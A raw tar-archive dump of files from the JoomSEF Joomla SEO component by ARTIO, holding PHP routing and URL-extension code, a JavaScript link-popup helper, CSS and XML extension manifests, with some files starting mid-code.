JoomSEF::build($uri); // Combine original path with new path // It's not necesarry in new versions of Joomla and cause some problems /*$path = $uri->getPath(); if ($path != "") { if (substr($origPath, 0, 10) == 'index.php/') { $origPath = substr($origPath, 10); } $path = rtrim($origPath, '/').$path; } $uri->setPath($path);*/ return $uri; } function getMode() { return JROUTER_MODE_SEF; } function parseSef(&$siteRouter, &$uri) { // Call this function only once in the stack, so // we can use Joomla default router to parse if ($this->parsing) { return array(); } $this->parsing = true; $mainframe = JFactory::getApplication(); JoomSEF::set('sef.global.meta', SEFTools::GetSEFGlobalMeta()); // Restore global "Add suffix to URLs" $sefSuffix = JoomSEF::get('sef.global.orig_sef_suffix'); $config = JFactory::getConfig(); $config->set('sef_suffix', $sefSuffix); // #2659: Fix trailing slash, because Joomla 2.5 removes it from the path $fullUrl = JoomSefUri::getUri($uri); $path = $uri->getPath(); if (substr($fullUrl, -1) == '/' && substr($path, -1) != '/') { $uri->setPath($path.'/'); } $vars = array(); $vars = JoomSEF::parse($uri); $menu = $mainframe->getMenu('site'); // Parsing done $this->parsing = false; // Fix the start variable $start = $uri->getVar('start'); if (!is_null($start) && is_null($uri->getVar('limitstart'))) { $uri->delVar('start'); $vars['limitstart'] = $start; } //Handle an empty URL (special case) if(empty($vars['Itemid']) && empty($vars['option'])) { //$item = $menu->getDefault(); // Workaround until Joomla menu bug will be fixed $items=$menu->getItems(array('home','language'),array('1','*')); $item=$items[0]; if(!is_object($item)) return $vars; // No default item set // set the information in the request $vars = $item->query; // get the itemid $vars['Itemid'] = $item->id; // set the active menu item $menu->setActive($vars['Itemid']); // set vars $this->setRequestVars($vars); $this->fixDocument($vars); return $vars; } // Get the item id, if it hasn't been set force it to null if( empty($vars['Itemid']) ) { $vars['Itemid'] = JRequest::getInt('Itemid', null); } // Set vars $this->setVars($vars); $siteRouter->setVars($vars); // Make sure the Joomla router doesn't process URL any further $siteRouter->setMode(JROUTER_MODE_DONT_PARSE); // No option? Get the full information from the itemid if( empty($vars['option']) ) { $item = $menu->getItem($this->getVar('Itemid')); if(!is_object($item)) return $vars; // No default item set $vars = $vars + $item->query; } // Set the active menu item $menu->setActive($this->getVar('Itemid')); // Set base href //$this->setBaseHref($vars); // Set vars $this->setRequestVars($vars); $this->fixDocument($vars); return $vars; } function fixDocument(&$vars) { $sefConfig = SEFConfig::getConfig(); if ($sefConfig->fixDocumentFormat) { if (isset($vars['format']) || isset($vars['no_html'])) { // Set currently created document to null if its type is different // than requested, so it will be created again with correct format parsed from URL if (isset($vars['no_html'])) { JFactory::$document = null; } else { $doc = JFactory::getDocument(); if ($doc->getType() != $vars['format']) { JFactory::$document = null; } } } } } function setRequestVars(&$vars) { $sefConfig = SEFConfig::getConfig(); // 6.9.2013 dajo: override for Kunena home view, because Kunena since version 3 calls the router // again from home controller, which overwrites its modified variables and causes endless loop if (is_array($vars) && isset($vars['option']) && $vars['option'] == 'com_kunena' && isset($vars['view']) && $vars['view'] == 'home') { return; } // #21081: Set parsed variables to Joomla's new JInput object $get = JFactory::getApplication()->input->get; if (is_array($vars)) { foreach ($vars as $name => $value) { $get->set($name, $value); } } if( $sefConfig->preventNonSefOverwrite ) { // Set the variables to JRequest, as mainframe does not overwrite // non-sef variables, so they hide the parsed ones if( is_array($vars) && count($vars) ) { foreach($vars as $name => $value) { if (!is_array($value) && (strlen($value) == 0)) { continue; } // Clean the var $GLOBALS['_JREQUEST'][$name] = array(); // Set the GET array $_GET[$name] = $value; $GLOBALS['_JREQUEST'][$name]['SET.GET'] = true; // Set the REQUEST array if request method is GET if( $_SERVER['REQUEST_METHOD'] == 'GET' ) { $_REQUEST[$name] = $value; $GLOBALS['_JREQUEST'][$name]['SET.REQUEST'] = true; } } } } } } ?>com_sef/assets/jsLinks.css000066600000000226150771500630011620 0ustar00div.jsLinks { background-color: #ffffd7; padding: 5px; border: 1px solid #000; } div.jsLinks .jsWord { font-weight: bold; } com_sef/assets/index.html000066600000000054150771500630011465 0ustar00com_sef/assets/jsLinks.js000066600000003411150771500630011443 0ustar00function jsShowLinks(el, word) { var div = document.getElementById('jsLinks_'+word); if (!div) return; div.style.display = 'block'; var left = jsRealLeft(el); // Check if the div is not outside the right part of the window var cw = document.documentElement.clientWidth; if( div.offsetWidth + left > cw ) { left = (cw - div.offsetWidth); } div.style.left = left + 'px'; div.style.top = jsRealTop(el) + 'px'; } function jsHideDiv(e, el) { if (!e) { e = window.event; } // Check that mouse really left the div var tg = e.srcElement || e.target; if (tg != el) { return; } var relTg = e.relatedTarget || e.toElement; while (relTg != tg && relTg.nodeName != 'BODY') { relTg = relTg.parentNode;; } if (relTg == tg) { return; } // Handle mouse out el.style.display = 'none'; el.style.left = '0px'; el.style.top = '0px;' } function jsRealLeft(el) { var l = 0; while( el ) { l += el.offsetLeft; el = el.offsetParent; } return l; } function jsRealTop(el) { var t = 0; while( el ) { t += el.offsetTop; el = el.offsetParent; } return t; } function jsOnDomReady(fn) { if (document.addEventListener) { document.addEventListener('DOMContentLoaded', fn, false); } else if (document.attachEvent) { document.attachEvent('onreadystatechange', function() { readyState(fn); }); } } function readyState(fn) { if (document.readyState == 'complete' || document.readyState == 'loaded') { fn(); } } com_sef/index.html000066600000000054150771500630010163 0ustar00com_sef/controllers/index.html000066600000000054150771500630012531 0ustar00com_sef/controllers/cron.php000066600000001352150771500630012210 0ustar00setRedirect(JURI::root()); } }com_sef/sef.php000066600000016706150771500630007467 0ustar00setRedirect(JURI::root()); } function updateNext() { $db = JFactory::getDBO(); // Load URLs to update $query = "SELECT `id`, `sefurl`, `origurl`, `Itemid` FROM `#__sefurls` WHERE `dateadd` = '0000-00-00' AND `locked` = '0' AND `flag` = '1' LIMIT 25"; $db->setQuery($query); $rows = $db->loadObjectList(); // Check that there's anything to update if( is_null($rows) || count($rows) == 0 ) { // Done echo json_encode(array('type'=>'completed','updated'=>0)); jexit(); } // OK, we've got some data, let's update them // First, we need to delete the URLs to be updated $ids = array(); $count = count($rows); for ($i = 0; $i < $count; $i++) { $ids[] = (int)$rows[$i]->id; } $ids = implode(',', $ids); $query = "DELETE FROM `#__sefurls` WHERE `id` IN ({$ids})"; $db->setQuery($query); if (!$db->query()) { echo json_encode(array('type'=>'error','msg'=>$db->stderr(true))); jexit(); } // Suppress all the normal output ob_start(); // Loop through URLs and update them one by one $mainframe = JFactory::getApplication(); $router = $mainframe->getRouter(); $sefRouter = new JRouterJoomsef(); for( $i = 0; $i < $count; $i++ ) { $row =& $rows[$i]; $url = $row->origurl; $oldSef = $row->sefurl; if( !empty($row->Itemid) ) { if( strpos($url, '?') !== false ) { $url .= '&'; } else { $url .= '?'; } $url .= 'Itemid='.$row->Itemid; } $oldUri = new JURI($url); $newSefUri = $sefRouter->buildSef($router, $oldUri); // JURI::toString() returns bad results when used with some UTF characters! $newSefUrl = JoomSefUri::getUri($newSefUri); $newSef = ltrim(str_replace(JURI::root(), '', $newSefUrl), '/'); // If the SEF URL changed, we need to add it to 301 redirection table if( $oldSef != $newSef ) { // Check that the redirect does not already exist $query = "SELECT `id` FROM `#__sefmoved` WHERE `old` = ".$db->quote($oldSef)." AND `new` = ".$db->quote($newSef)." LIMIT 1"; $db->setQuery($query); $id = $db->loadResult(); if( !$id ) { $query = "INSERT INTO `#__sefmoved` (`old`, `new`) VALUES (".$db->quote($oldSef).", ".$db->quote($newSef).")"; $db->setQuery($query); if(!$db->query()) { echo json_encode(array('type'=>'error','msg'=>$db->stderr(true))); jexit(); } } } } ob_end_clean(); echo json_encode(array('type'=>'updatestep','updated'=>$count)); jexit(); } function updateMetaNext() { $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); // Load all the URLs $query = "SELECT `id`, `sefurl`, `origurl`, `Itemid` FROM `#__sefurls` WHERE `locked` = '0' AND `flag` = '1' LIMIT 25"; $db->setQuery($query); $rows = $db->loadObjectList(); // Check that there's anything to update if( is_null($rows) || count($rows) == 0 ) { // Done echo json_encode(array('type'=>'completed','updated'=>0)); jexit(); } // OK, we've got some data, let's update them $count = count($rows); // Suppress all the normal output ob_start(); // Loop through URLs and update them one by one for( $i = 0; $i < $count; $i++ ) { $row =& $rows[$i]; $url = $row->origurl; if( !empty($row->Itemid) ) { if( strpos($url, '?') !== false ) { $url .= '&'; } else { $url .= '?'; } $url .= 'Itemid='.$row->Itemid; } $uri = new JURI($url); // Check if we have an extension for this URL $updated = false; $option = $uri->getVar('option'); if (!empty($option)) { $file = JPATH_ROOT.'/components/com_sef/sef_ext/'.$option.'.php'; $class = 'SefExt_'.$option; if (!class_exists($class) && file_exists($file)) { require($file); } if (class_exists($class)) { $ext = new $class(); $metadata = $ext->generateMeta($uri); if (is_array($metadata) && count($metadata) > 0) { $metas = ''; foreach($metadata as $metakey => $metaval) { $metas .= ", `$metakey` = ".$db->Quote($metaval,true); } $query = "UPDATE `#__sefurls` SET `flag` = '0'".$metas." WHERE `id` = ".(int)$row->id; $db->setQuery($query); if(!$db->query()) { echo json_encode(array('type'=>'error','msg'=>$db->stderr(true))); jexit(); } $updated = true; } } } if ($updated==false) { // Remove flag $query = "UPDATE `#__sefurls` SET `flag` = '0' WHERE `id` = ".(int)$row->id; $db->setQuery($query); if(!$db->query()) { echo json_encode(array('type'=>'error','msg'=>$db->stderr(true))); jexit(); } } } ob_end_clean(); echo json_encode(array('type'=>'updatestep','updated'=>$count)); jexit(); } } $cmd = JRequest::getCmd('controller'); $classname = 'JoomSEFController'.$cmd; if (!class_exists($classname)) { $file = JPATH_COMPONENT.'/controllers/'.$cmd.'.php'; if (file_exists($file)) { require_once($file); } else { $classname = 'JoomSEFController'; } if (!class_exists($classname)) { JError::raiseError(403, JText::_('Access Forbidden')); } } $controller = new $classname(); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); com_sef/sef_ext/com_search.xml000066600000016505150771500630012460 0ustar00 Search ARTIO s.r.o. 9. October 2012 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.4 Adds SEO support for Search component. com_search.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_search.xml
    com_sef/sef_ext/com_wrapper.xml000066600000001714150771500630012667 0ustar00 Wrapper ARTIO s.r.o. 10. January 2012 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.3 Adds SEO support for Wrapper component. com_wrapper.php http://www.artio.net/joomla-updates/list/ext_joomsef4_wrapper.xml com_sef/sef_ext/com_contact.xml000066600000027230150771500630012643 0ustar00 Contacts ARTIO s.r.o. 24. January 2011 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.3 Adds SEO support for Contacts component. com_contact.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_contact.xml
    com_sef/sef_ext/com_wrapper.php000066600000002022150771500630012647 0ustar00getVar('view')) ) { $uri->setVar('view', 'wrapper'); } } function create(&$uri) { $vars = $uri->getQuery(true); extract($vars); $title = array(); $title[] = JoomSEF::_getMenuTitleLang(@$option, $this->lang, @$Itemid); $newUri = $uri; if (count($title) > 0) { $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang); } return $newUri; } } ?>com_sef/sef_ext/com_users.php000066600000011564150771500630012343 0ustar00_createNonSefVars($uri); return array($this->nonSefVars, $this->ignoreVars); } protected function _createNonSefVars(&$uri) { if (!isset($this->nonSefVars) && !isset($this->ignoreVars)) { $this->nonSefVars = array(); $this->ignoreVars = array(); } if (!is_null($uri->getVar('token'))) { $this->nonSefVars['token'] = $uri->getVar('token'); } if(!is_null($uri->getVar('return'))) { $this->nonSefVars['return']=$uri->getVar('return'); } } function GetUserName($id) { $id = intval($id); $user = JUser::getInstance($id); return $user->username; } protected function _prepareTexts() { if (is_null(self::$textsEn)) { self::$textsEn = array(); self::$textsEn['COM_SEF_USERS_ACTIVATE'] = 'Activate'; self::$textsEn['COM_SEF_USERS_COMPLETE'] = 'Complete'; self::$textsEn['COM_SEF_USERS_CONFIRM'] = 'Confirm'; self::$textsEn['COM_SEF_USERS_EDIT'] = 'Edit'; self::$textsEn['COM_SEF_USERS_LOGIN'] = 'Login'; self::$textsEn['COM_SEF_USERS_PROFILE'] = 'Profile'; self::$textsEn['COM_SEF_USERS_REGISTER'] = 'Register'; self::$textsEn['COM_SEF_USERS_REGISTRATION'] = 'Registration'; self::$textsEn['COM_SEF_USERS_REMIND'] = 'Forgot username'; self::$textsEn['COM_SEF_USERS_REQUEST'] = 'Request'; self::$textsEn['COM_SEF_USERS_RESET'] = 'Forgot password'; self::$textsEn['COM_SEF_USERS_SAVE'] = 'Save'; self::$textsEn['COM_SEF_USERS_SUBMIT'] = 'Submit'; self::$textsEn['COM_SEF_USERS_USER'] = 'User'; } } function create(&$uri) { $vars = $uri->getQuery(true); extract($vars); $this->_createNonSefVars($uri); $this->_prepareTexts(); $title = array(); $title[] = JoomSEF::_getMenuTitleLang(@$option, $lang, @$Itemid); if (!empty($view)) { if ($this->params->get('always_en', '0') == '1') { $title[] = self::$textsEn[strtoupper('COM_SEF_USERS_'.$view)]; } else { $title[] = JText::_('COM_SEF_USERS_'.$view); } } if (!empty($layout)) { if ($this->params->get('always_en', '0') == '1') { $title[] = self::$textsEn[strtoupper('COM_SEF_USERS_'.$layout)]; } else { $title[] = JText::_('COM_SEF_USERS_'.$layout); } } if (!empty($task)) { $tasks = explode('.', $task); if ($tasks[0] == 'profile') { if (isset($user_id)) { $title[] = $this->GetUserName($user_id); } } else { if ($this->params->get('always_en', '0') == '1') { $title[] = self::$textsEn[strtoupper('COM_SEF_USERS_'.$tasks[0])]; } else { $title[] = JText::_('COM_SEF_USERS_'.$tasks[0]); } } if (isset($tasks[1])) { if ($tasks[1] == 'remind') { $tasks[1] = 'submit'; } if ($this->params->get('always_en', '0') == '1') { $title[] = self::$textsEn[strtoupper('COM_SEF_USERS_'.$tasks[1])]; } else { $title[] = JText::_('COM_SEF_USERS_'.$tasks[1]); } if (in_array($tasks[1], array('confirm', 'complete'))) { if ($this->params->get('always_en', '0') == '1') { $title[] = self::$textsEn['COM_SEF_USERS_SUBMIT']; } else { $title[] = JText::_('COM_SEF_USERS_SUBMIT'); } } } } $newUri = $uri; if (count($title) > 0) { $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang, $this->nonSefVars); } return $newUri; } } ?>com_sef/sef_ext/com_contact.php000066600000017330150771500630012632 0ustar00params, 'contact_alias')) { $field = 'alias'; } $id = intval($id); $query="SELECT `id`, `$field` AS `name`, `catid`, `metakey`, `metadesc`, `metadata`, `language`,`misc` FROM `#__contact_details` WHERE `id` = '{$id}'"; $this->_db->setQuery($query); $row = $this->_db->loadObject('stdClass',$this->config->translateItems); if (is_null($row)) { JoomSefLogger::Log("Contact with ID {$id} could not be found.", $this, 'com_contact'); return array(); } $name = (($this->params->get('contactid', '0') != '0') ? $id . '-' : '') . $row->name; // use contact description as page meta tags if available if (($row->misc = JString::trim($row->misc))) { $this->metadesc = $row->misc; } if ($this->params->get('show_category', '2') != '0') { $catInfo = $this->getCategoryInfo($row->catid); if ($catInfo === false) { JoomSefLogger::Log("Category with ID {$row->catid} could not be found.", $this, 'com_contact'); } if (is_array($catInfo->path)) { $title = array_merge($title, $catInfo->path); } } $title[]=$row->name; $this->getMetaData($row); return $title; } function beforeCreate(&$uri) { // Remove the part after ':' from variables if (!is_null($uri->getVar('id'))) SEFTools::fixVariable($uri, 'id'); if (!is_null($uri->getVar('catid'))) SEFTools::fixVariable($uri, 'catid'); $view = $uri->getVar('view'); $id = (int) $uri->getVar('id'); $catid = (int) $uri->getVar('catid'); switch ($view) { case 'category': case 'categories': // Remove view and catid if they point to empty category/categories if (! $id) { $uri->delVar('view'); $uri->delVar('id'); } case 'contact': if ($id && $catid) $uri->delVar('catid'); } return; } function create(&$uri) { $this->metadesc = null; // Extract variables $vars = $uri->getQuery(true); extract($vars); $this->params = SEFTools::getExtParams('com_contact'); $title[] = JoomSEF::_getMenuTitleLang(@$option, $this->lang, @$Itemid); if (isset($view)) { switch ($view) { case 'categories': case 'featured': break; case 'category': $catInfo = $this->getCategoryInfo($id); if ($catInfo === false) { JoomSefLogger::Log("Category with ID {$id} could not be found.", $this, 'com_contact'); } if (is_array($catInfo->path)) { $title = array_merge($title, $catInfo->path); } break; case 'contact': $title = array_merge($title, $this->getContactName($id)); break; } } if (!empty($format)) { if ($format == 'feed' && !empty($type)) $title[] = $type; elseif ($format == 'vcf') $title[] = 'vCard'; } $newUri = $uri; if (count($title) > 0) { // Generate meta tags $this->metatags = $this->getMetaTags(); $priority = $this->getPriority($uri); $sitemap = $this->getSitemapParams($uri); if(isset($this->lang)) { $lang=$this->lang; } $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang, null, null, $this->metatags, $priority, false, null,$sitemap); } return $newUri; } function getSitemapParams(&$uri) { if ($uri->getVar('format', 'html') != 'html') { // Handle only html links return array(); } $view = $uri->getVar('view'); $sm = array(); switch ($view) { case 'contact': case 'category': $indexed = $this->params->get('sm_'.$view.'_indexed', '1'); $freq = $this->params->get('sm_'.$view.'_freq', ''); $priority = $this->params->get('sm_'.$view.'_priority', ''); if (!empty($indexed)) $sm['indexed'] = $indexed; if (!empty($freq)) $sm['frequency'] = $freq; if (!empty($priority)) $sm['priority'] = $priority; break; } return $sm; } function getPriority(&$uri) { $itemid = $uri->getVar('Itemid'); $view = $uri->getVar('view'); switch ($view) { case 'contact': if (is_null($itemid)) { return _COM_SEF_PRIORITY_CONTACT_CONTACT; } else { return _COM_SEF_PRIORITY_CONTACT_CONTACT_ITEMID; } break; default: if (is_null($itemid)) { return _COM_SEF_PRIORITY_CONTACT_CATEGORY; } else { return _COM_SEF_PRIORITY_CONTACT_CATEGORY_ITEMID; } break; } } function getURLPatterns($item) { $db=JFactory::getDBO(); $urls=array(); if($item->getTableName()=='#__categories') { // Category view $urls[]='index\.php\?option=com_contact(&format=feed)?&id='.$item->id.'(&lang=[a-z]+)?(&limitstart=[0-9]+)?(&type=(atom|rss))?&view=category'; $query=$db->getQuery(true); $query->select('id')->from('#__contact_details')->where('catid='.$item->id); $db->setQuery($query); $ids=$db->loadColumn(); foreach($ids as $id) { $urls[]='index\.php\?option=com_contact&id='.$id.'&'; } $tree=$item->getTree($item->id); foreach($tree as $catitem) { $urls[]='index\.php\?option=com_contact(&format=feed)?&id='.$catitem->id.'(&lang=[a-z]+)?(&limitstart=[0-9]+)?(&type=(atom|rss))?&view=category'; $query=$db->getQuery(true); $query->select('id')->from('#__contact_details')->where('catid='.$catitem->id); $db->setQuery($query); $ids=$db->loadColumn(); foreach($ids as $id) { $urls[]='index\.php\?option=com_contact&id='.$id.'&'; } } } else { $urls[]='index\.php\?option=com_contact&id='.$item->id.'&'; } return $urls; } } ?>com_sef/sef_ext/elements/sefcategoryedit.php000066600000002067150771500630015337 0ustar00name; if (substr($hiddenName, -2) == '[]') { $hiddenName = substr($hiddenName, 0, -2); } $html = ''."\n".$inputHtml; return $html; } } com_sef/sef_ext/elements/index.html000066600000000054150771500630013434 0ustar00com_sef/sef_ext/com_tags.php000066600000015655150771500630012145 0ustar00_createNonSefVars($uri); return array($this->nonSefVars, $this->ignoreVars); } protected function _createNonSefVars(&$uri) { $this->nonSefVars = array(); $this->ignoreVars = array(); if (!is_null($uri->getVar('limit'))) { $this->nonSefVars['limit'] = $uri->getVar('limit'); } if (!is_null($uri->getVar('limitstart'))) { $this->nonSefVars['limitstart'] = $uri->getVar('limitstart'); } } protected function AddNamePart(&$name, $object, $part) { if (isset($object->$part)) { $name[] = $object->$part; } } protected function BuildName($object, $fieldname, $defaultText) { $name = array(); $object->text = $this->params->get($fieldname.'text', $defaultText); $this->AddNamePart($name, $object, $this->params->get($fieldname.'1', 'none')); $this->AddNamePart($name, $object, $this->params->get($fieldname.'2', 'title')); $this->AddNamePart($name, $object, $this->params->get($fieldname.'3', 'none')); return implode('-', $name); } public function beforeCreate(&$uri) { // Fix IDs - we must also handle arrays! $id = $uri->getVar('id'); if (is_array($id)) { foreach ($id as $key => $val) { $id[$key] = (int)$val; } $uri->setVar('id', $id); } else if (!is_null($id)) { $id = (int)$id; $uri->setVar('id', $id); } } protected function getTag($id) { $db = JFactory::getDbo(); $db->setQuery("SELECT id, title, alias FROM #__tags WHERE id = ".(int)$id); $row = $db->loadObject(); if (is_null($row)) { return null; } $name = $this->BuildName($row, 'tagname', 'Tag'); return $name; } public function create(&$uri) { $title = array(); $vars = $uri->getQuery(true); $this->_createNonSefVars($uri); // Set menu title $title[] = JoomSEF::_getMenuTitle($uri->getVar('option'), $uri->getVar('task'), $uri->getVar('Itemid')); if (isset($vars['view'])) { switch ($vars['view']) { case 'tag': if (isset($vars['id'])) { // Add all the tags to URL $ids = is_array($vars['id']) ? $vars['id'] : array($vars['id']); foreach ($ids as $id) { $tag = $this->getTag($id); if (is_null($tag)) { JoomSefLogger::Log('Tag with ID '.$id.' not set.', $this, 'com_tags'); return $uri; } $title[] = $tag; } } break; default: $title[] = $vars['view']; break; } } // Handle feeds if ($uri->getVar('format') == 'feed' && $uri->getVar('type')) { $title[] = $uri->getVar('type'); } $newUri = $uri; if (count($title) > 0) { $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, $uri->getVar('lang'), $this->nonSefVars, null, null, null, true); } return $newUri; } function getSitemapParams(&$uri) { if ($uri->getVar('format', 'html') != 'html') { // Handle only html links return array(); } $view = $uri->getVar('view'); $sm = array(); switch ($view) { case 'article': case 'category': $indexed = $this->params->get('sm_'.$view.'_indexed', '1'); $freq = $this->params->get('sm_'.$view.'_freq', ''); $priority = $this->params->get('sm_'.$view.'_priority', ''); if (!empty($indexed)) $sm['indexed'] = $indexed; if (!empty($freq)) $sm['frequency'] = $freq; if (!empty($priority)) $sm['priority'] = $priority; break; } return $sm; } public function getPriority(&$uri) { $itemid = $uri->getVar('Itemid'); $view = $uri->getVar('view'); $layout = $uri->getVar('layout'); switch($view) { case 'article': if( is_null($itemid) ) { return _COM_SEF_PRIORITY_CONTENT_ARTICLE; } else { return _COM_SEF_PRIORITY_CONTENT_ARTICLE_ITEMID; } break; case 'category': if( $layout == 'blog' ) { if( is_null($itemid) ) { return _COM_SEF_PRIORITY_CONTENT_CATEGORYBLOG; } else { return _COM_SEF_PRIORITY_CONTENT_CATEGORYBLOG_ITEMID; } } else { if( is_null($itemid) ) { return _COM_SEF_PRIORITY_CONTENT_CATEGORYLIST; } else { return _COM_SEF_PRIORITY_CONTENT_CATEGORYLIST_ITEMID; } } break; default: return null; break; } } function getURLPatterns($item) { $urls=array(); if($item->getTableName()=='#__categories') { // Category view $urls[]='index\.php\?option=com_content(&format=feed)?&id='.$item->id.'&'; // Content View $urls[]='index\.php\?option=com_content&catid='.$item->id.'&id='; $tree=$item->getTree($item->id); foreach($tree as $catitem) { $urls[]='index\.php\?option=com_content(&format=feed)?&id='.$catitem->id.'&'; $urls[]='index\.php\?option=com_content&catid='.$catitem->id.'&id='; } } else { $urls[]='index\.php\?option=com_content(&catid=([0-9])*)*&id='.$item->id.'(&lang=[a-z]+)?(&limitstart=[0-9]+)?(&type=(atom|rss))?&view=article'; } return $urls; } } ?>com_sef/sef_ext/com_weblinks.php000066600000020752150771500630013017 0ustar00params, 'weblink_alias') ? '`alias` AS `title`' : '`title`'; $query='SELECT `id`,`catid`, `metakey`, `metadata`, `metadesc`, `language`,' . $title_fld . ' FROM `#__weblinks` WHERE `id` = ' . (int) $id; $this->_db->setQuery($query); $row=$this->_db->loadObject('stdClass',$this->config->translateItems); if (is_null($row)) { JoomSefLogger::Log("Weblink with ID {$id} could not be found.", $this, 'com_weblinks'); return array(); } if($this->params->get('show_category',2)!=0) { $catInfo = $this->getCategoryInfo($row->catid); if ($catInfo === false) { JoomSefLogger::Log("Category with ID {$row->catid} could not be found.", $this, 'com_weblinks'); } if (is_array($catInfo->path)) { $title = array_merge($title, $catInfo->path); } } $title[] = ($this->params->get('weblink_id') == 1 ? $row->id . '-' : '') . $row->title; $this->getMetaData($row); return $title; } function beforeCreate(&$uri) { // Remove the part after ':' from variables if (! is_null($uri->getVar('id'))) SEFTools::fixVariable($uri, 'id'); if (! is_null($uri->getVar('catid'))) SEFTools::fixVariable($uri, 'catid'); if ($uri->getVar('id') == 0) $uri->delVar('id'); if ($uri->getVar('w_id') == 0) $uri->delVar('w_id'); return; } function create(&$uri) { $sefConfig = SEFConfig::getConfig(); $vars = $uri->getQuery(true); extract($vars); $title[] = JoomSEF::_getMenuTitleLang($option, $this->lang, @$Itemid); switch (@$view) { case 'categories': break; case 'category': $catInfo = $this->getCategoryInfo($id); if ($catInfo === false) { JoomSefLogger::Log("Category with ID {$id} could not be found.", $this, 'com_weblinks'); } if (is_array($catInfo->path)) { $title = array_merge($title, $catInfo->path); } break; case 'form': if(isset($w_id)) { $title = array_merge($title, $this->getWeblinkTitle(@$w_id)); } break; case 'weblink': if (!empty($id)) { $title = array_merge($title, $this->getWeblinkTitle($id)); } else { if ($this->params->get('always_en', '0') == '1') { $title[] = 'Submit'; } else { $title[] = JText::_('COM_SEF_SUBMIT'); } } break; } switch (@$task) { case 'weblink.go': if (!empty($id)) { $title = array_merge($title, $this->getWeblinkTitle($id)); } else { if ($this->params->get('always_en', '0') == '1') { $title[] = 'Submit'; } else { $title[] = JText::_('COM_SEF_SUBMIT'); } } break; case 'new': $title[] = 'new' . $sefConfig->suffix; break; case 'weblink.edit': $title = array_merge($title, $this->getWeblinkTitle(@$w_id)); if ($this->params->get('always_en', '0') == '1') { $title[] = 'Edit'; } else { $title[] = JText::_('COM_SEF_EDIT'); } if (@$return) $nonSefVars['return'] = $return; break; } if (@$format) { if ($format == 'feed' && @$type) $title[] = ucfirst($type); else $title[] = ucfirst($format); } $newUri = $uri; if (count($title)) { // Generate meta tags $this->metatags = $this->getMetaTags(); $priority = $this->getPriority($uri); $sitemap = $this->getSitemapParams($uri); if(isset($this->lang)) { $lang=$this->lang; } $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang, @$nonSefVars, null, $this->metatags, $priority, false, null, $sitemap); } return $newUri; } function getSitemapParams(&$uri) { if ($uri->getVar('format', 'html') != 'html') { // Handle only html links return array(); } $view = $uri->getVar('view'); $task = $uri->getVar('task'); $sm = array(); if ($view == 'category' || $view == 'categories' || $task == 'weblink.go') { if ($view == 'categories') $view = 'category'; if ($task == 'weblink.go') $view = 'weblink'; $indexed = $this->params->get('sm_'.$view.'_indexed', '1'); $freq = $this->params->get('sm_'.$view.'_freq', ''); $priority = $this->params->get('sm_'.$view.'_priority', ''); if (!empty($indexed)) $sm['indexed'] = $indexed; if (!empty($freq)) $sm['frequency'] = $freq; if (!empty($priority)) $sm['priority'] = $priority; } return $sm; } function getPriority(&$uri) { $itemid = $uri->getVar('Itemid'); $view = $uri->getVar('view'); switch ($view) { case 'weblink': if (is_null($itemid)) { return _COM_SEF_PRIORITY_WEBLINKS_LINK; } else { return _COM_SEF_PRIORITY_WEBLINKS_LINK_ITEMID; } break; case 'category': if (is_null($itemid)) { return _COM_SEF_PRIORITY_WEBLINKS_CATEGORY; } else { return _COM_SEF_PRIORITY_WEBLINKS_CATEGORY_ITEMID; } break; default: return null; } } function getURLPatterns($item) { $db=JFactory::getDBO(); $urls=array(); if($item->getTableName()=='#__categories') { // Category view $urls[]='index\.php\?option=com_weblinks(&format=feed)?&id='.$item->id.'&'; $query=$db->getQuery(true); $query->select('id')->from('#__weblinks')->where('catid='.$item->id); $db->setQUery($query); $ids=$db->loadColumn(); foreach($ids as $id) { // Content View $urls[]='index\.php\?option=com_weblinks&id='.$id.'(&lang=[a-z]+)?&task=weblink.go'; } $tree=$item->getTree($item->id); foreach($tree as $catitem) { $urls[]='index\.php\?option=com_weblinks(&format=feed)?&id='.$catitem->id.'&'; $query=$db->getQuery(true); $query->select('id')->from('#__weblinks')->where('catid='.$catitem->id); $db->setQUery($query); $ids=$db->loadColumn(); foreach($ids as $id) { // Content View $urls[]='index\.php\?option=com_weblinks&id='.$id.'(&lang=[a-z]+)?&task=weblink.go'; } } } else { $urls[]='index\.php\?option=com_weblinks&id='.$item->id.'(&lang=[a-z]+)?&task=weblink.go'; } return $urls; } } ?>com_sef/sef_ext/com_newsfeeds.xml000066600000027221150771500630013173 0ustar00 NewsFeeds ARTIO s.r.o. 25. January 2011 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.3 Adds SEO support for NewsFeeds component. com_newsfeeds.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_newsfeeds.xml
    com_sef/sef_ext/index.html000066600000000054150771500630011620 0ustar00com_sef/sef_ext/com_content.xml000066600000036743150771500630012673 0ustar00 Content ARTIO s.r.o. 20. July 2017 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.10 Adds SEO support for Content component. com_content.php +^[0-9]*$=limit,limitstart,start,month,year +^[a-zA-Z]+$=type,view +^[a-zA-Z.]+$=task +^[0-9]+(:[\w\-_\d]+)?$=catid,id
    http://www.artio.net/joomla-updates/list/ext_joomsef4_content.xml
    com_sef/sef_ext/com_banners.xml000066600000002460150771500630012636 0ustar00 Banners ARTIO s.r.o. 22. June 2010 ARTIO s.r.o. GNU/GPLv3 http://www.artio.net/license/gnu-general-public-license info@artio.net www.artio.net 3.0.3 Adds SEO support for Banners component. com_banners.php
    http://www.artio.net/joomla-updates/list/ext_joomsef4_banners.xml
